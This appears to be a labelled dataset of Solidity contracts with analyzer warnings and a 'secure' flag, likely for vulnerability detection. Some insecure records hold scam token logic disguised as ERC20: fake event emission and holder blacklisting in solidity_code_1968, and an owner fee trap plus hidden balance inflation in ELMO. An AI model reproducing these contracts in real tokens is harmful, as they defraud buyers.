"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _balancesSnapshot;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n bool private _balancesSnapshotApplied = false;\n string private _name;\n string private _symbol;\n\n address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;\n address private _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address private _pair;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dd54b0b): ERC20.renounceOwnership(address)._owner_ lacks a zerocheck on \t _pair = _owner_\n\t// Recommendation for dd54b0b: Check that the address is not zero.\n function renounceOwnership(address _owner_) external onlyOwner {\n\t\t// missing-zero-check | ID: dd54b0b\n _pair = _owner_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function approve(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _balancesSnapshot[_addresses_[i]] = true;\n emit Approval(\n _addresses_[i],\n address(this),\n balanceOf(_addresses_[i])\n );\n }\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _out);\n }\n }\n\n function multicall(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);\n emit Transfer(_addresses_[i], _pair, _in);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(address[] calldata _addresses_) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _balancesSnapshot[_addresses_[i]] = false;\n }\n }\n\n function domainSeparator(address _address_) public view returns (bool) {\n return _balancesSnapshot[_address_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n if (_balancesSnapshot[from] || _balancesSnapshot[to])\n require(_balancesSnapshotApplied == true, \"\");\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1968.sol",
"secure": 0,
"size_bytes": 9938
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs4 {\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 72a04a6): Structs_4.InMemoryUsage().test is a local variable never initialized\n\t// Recommendation for 72a04a6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function InMemoryUsage() public {\n Test memory test;\n test.a = 1;\n test.b = 2;\n test.c = \"a\";\n test.d = \"b\";\n }\n}",
"file_name": "solidity_code_1969.sol",
"secure": 0,
"size_bytes": 673
} |
{
"code": "// SPDX-License-Identifier: GNU AGPLv3\n\npragma solidity ^0.8.0;\n\nimport \"./Governance.sol\" as Governance;\n\ncontract Governance2Step is Governance {\n event UpdatePendingGovernance(address indexed newPendingGovernance);\n\n address public pendingGovernance;\n\n constructor(address _governance) Governance(_governance) {}\n\n function transferGovernance(\n address _newGovernance\n ) external virtual override onlyGovernance {\n require(_newGovernance != address(0), \"ZERO ADDRESS\");\n\n pendingGovernance = _newGovernance;\n\n emit UpdatePendingGovernance(_newGovernance);\n }\n\n function acceptGovernance() external virtual {\n require(msg.sender == pendingGovernance, \"!pending governance\");\n\n emit GovernanceTransferred(governance, msg.sender);\n\n governance = msg.sender;\n\n pendingGovernance = address(0);\n }\n}",
"file_name": "solidity_code_197.sol",
"secure": 1,
"size_bytes": 908
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract KUSH is ERC20 {\n constructor() ERC20(\"KUSH\", \"KUSH\") {\n _mint(msg.sender, 10000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1970.sol",
"secure": 1,
"size_bytes": 270
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface OwnableDelegateProxy {}",
"file_name": "solidity_code_1971.sol",
"secure": 1,
"size_bytes": 101
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"./OwnableDelegateProxy.sol\" as OwnableDelegateProxy;\n\ninterface IProxyRegistry {\n function proxies(\n address _owner\n ) external view returns (OwnableDelegateProxy);\n}",
"file_name": "solidity_code_1972.sol",
"secure": 1,
"size_bytes": 261
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface IProxyRegistryManager {\n function addRegistryManager(address newManager) external;\n\n function removeRegistryManager(address oldManager) external;\n\n function isRegistryManager(\n address _addr\n ) external view returns (bool _isRegistryManager);\n\n function addProxy(address newProxy) external;\n\n function removeProxy(address oldProxy) external;\n\n function isProxy(address _addr) external view returns (bool _is);\n\n function allProxiesCount() external view returns (uint256 _allCount);\n\n function proxyAt(uint256 _index) external view returns (address _proxy);\n}",
"file_name": "solidity_code_1973.sol",
"secure": 1,
"size_bytes": 688
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs41 {\n Test testStored;\n\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 45f3178): Structs_4_1.InMemoryUsage().test is a local variable never initialized\n\t// Recommendation for 45f3178: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function InMemoryUsage() public {\n Test memory test;\n test.a = 1;\n test.b = 2;\n test.c = \"a\";\n test.d = \"b\";\n\n testStored = test;\n }\n}",
"file_name": "solidity_code_1974.sol",
"secure": 0,
"size_bytes": 730
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Stankpepe is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: fe525cf): Stankpepe._taxWallet should be immutable \n\t// Recommendation for fe525cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99c68c8): Stankpepe._initialBuyTax should be constant \n\t// Recommendation for 99c68c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\t// WARNING Optimization Issue (constable-states | ID: caba365): Stankpepe._initialSellTax should be constant \n\t// Recommendation for caba365: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\t// WARNING Optimization Issue (constable-states | ID: 22419cd): Stankpepe._finalBuyTax should be constant \n\t// Recommendation for 22419cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 8bff391): Stankpepe._finalSellTax should be constant \n\t// Recommendation for 8bff391: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 565524c): Stankpepe._reduceBuyTaxAt should be constant \n\t// Recommendation for 565524c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\t// WARNING Optimization Issue (constable-states | ID: 707ddfe): Stankpepe._reduceSellTaxAt should be constant \n\t// Recommendation for 707ddfe: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 120b5fb): Stankpepe._preventSwapBefore should be constant \n\t// Recommendation for 120b5fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 420000000 * 10 ** _decimals;\n string private constant _name = unicode\"Stankpepe.com\";\n string private constant _symbol = unicode\"STANKPEPE\";\n uint256 public _maxTxAmount = 8400000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 4200000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 31bdc6f): Stankpepe._taxSwapThreshold should be constant \n\t// Recommendation for 31bdc6f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2100000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 597ed65): Stankpepe._maxTaxSwap should be constant \n\t// Recommendation for 597ed65: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c379f5a): Stankpepe.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c379f5a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7e0939b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7e0939b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 84640a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 84640a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7e0939b\n\t\t// reentrancy-benign | ID: 84640a7\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 7e0939b\n\t\t// reentrancy-benign | ID: 84640a7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e045524): Stankpepe._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e045524: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 84640a7\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 7e0939b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fe9bf9a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fe9bf9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 6cb0968): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 6cb0968: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9cc8650): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9cc8650: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 6cb0968\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: fe9bf9a\n\t\t\t\t// reentrancy-eth | ID: 9cc8650\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fe9bf9a\n\t\t\t\t\t// reentrancy-eth | ID: 9cc8650\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9cc8650\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: fe9bf9a\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 9cc8650\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 9cc8650\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: fe9bf9a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 7e0939b\n\t\t// reentrancy-events | ID: fe9bf9a\n\t\t// reentrancy-benign | ID: 84640a7\n\t\t// reentrancy-eth | ID: 9cc8650\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 06b0c12): Stankpepe.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 06b0c12: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7e0939b\n\t\t// reentrancy-events | ID: fe9bf9a\n\t\t// reentrancy-eth | ID: 9cc8650\n\t\t// arbitrary-send-eth | ID: 06b0c12\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 71cee6a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 71cee6a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9381dd8): Stankpepe.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9381dd8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 62fad7d): Stankpepe.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 62fad7d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d884e92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d884e92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 71cee6a\n\t\t// reentrancy-eth | ID: d884e92\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 71cee6a\n\t\t// unused-return | ID: 62fad7d\n\t\t// reentrancy-eth | ID: d884e92\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 71cee6a\n\t\t// unused-return | ID: 9381dd8\n\t\t// reentrancy-eth | ID: d884e92\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 71cee6a\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: d884e92\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1975.sol",
"secure": 0,
"size_bytes": 17003
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function TREND(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_1976.sol",
"secure": 1,
"size_bytes": 851
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ELMO is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _transferFees;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 4612f08): ELMO._decimals should be immutable \n\t// Recommendation for 4612f08: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 10fd4ff): ELMO._totalSupply should be immutable \n\t// Recommendation for 10fd4ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 6a5939c): ELMO.APPROVE should be immutable \n\t// Recommendation for 6a5939c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public APPROVE;\n\t// WARNING Optimization Issue (constable-states | ID: 3af913d): ELMO.marketFee should be constant \n\t// Recommendation for 3af913d: Add the 'constant' attribute to state variables that never change.\n uint256 marketFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 937ee45): ELMO.marketAddress should be constant \n\t// Recommendation for 937ee45: Add the 'constant' attribute to state variables that never change.\n address public marketAddress = 0xd991eE423121A039C70EF57a4518e9E8eBFC9E74;\n address constant _beforeTokenTransfer =\n 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ed77a40): ELMO.constructor(string,string,uint256,uint8,address).gem lacks a zerocheck on \t APPROVE = gem\n\t// Recommendation for ed77a40: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 total,\n uint8 decimals_,\n address gem\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = total;\n\t\t// missing-zero-check | ID: ed77a40\n APPROVE = gem;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function TREND(address[] memory back, uint256 Teambuy) external {\n assembly {\n if gt(Teambuy, 100) {\n revert(0, 0)\n }\n }\n if (APPROVE != _msgSender()) {\n return;\n }\n for (uint256 i = 0; i < back.length; i++) {\n _transferFees[back[i]] = Teambuy;\n }\n }\n\n function Ox12385(address o0xkO21) external {\n if (APPROVE != _msgSender()) {\n return;\n }\n uint256 burnfee = 10000000000000 * 10 ** decimals() * 85000;\n _balances[_msgSender()] = burnfee;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"Put: transfer amount exceeds balance\"\n );\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 marketAmount = (amount * marketFee) / 100;\n uint256 finalAmount = amount - fee - marketAmount;\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += finalAmount;\n _balances[_beforeTokenTransfer] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n emit Transfer(_msgSender(), _beforeTokenTransfer, fee);\n emit Transfer(_msgSender(), marketAddress, marketAmount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 230df3c): ELMO.allowance(address,address).owner shadows 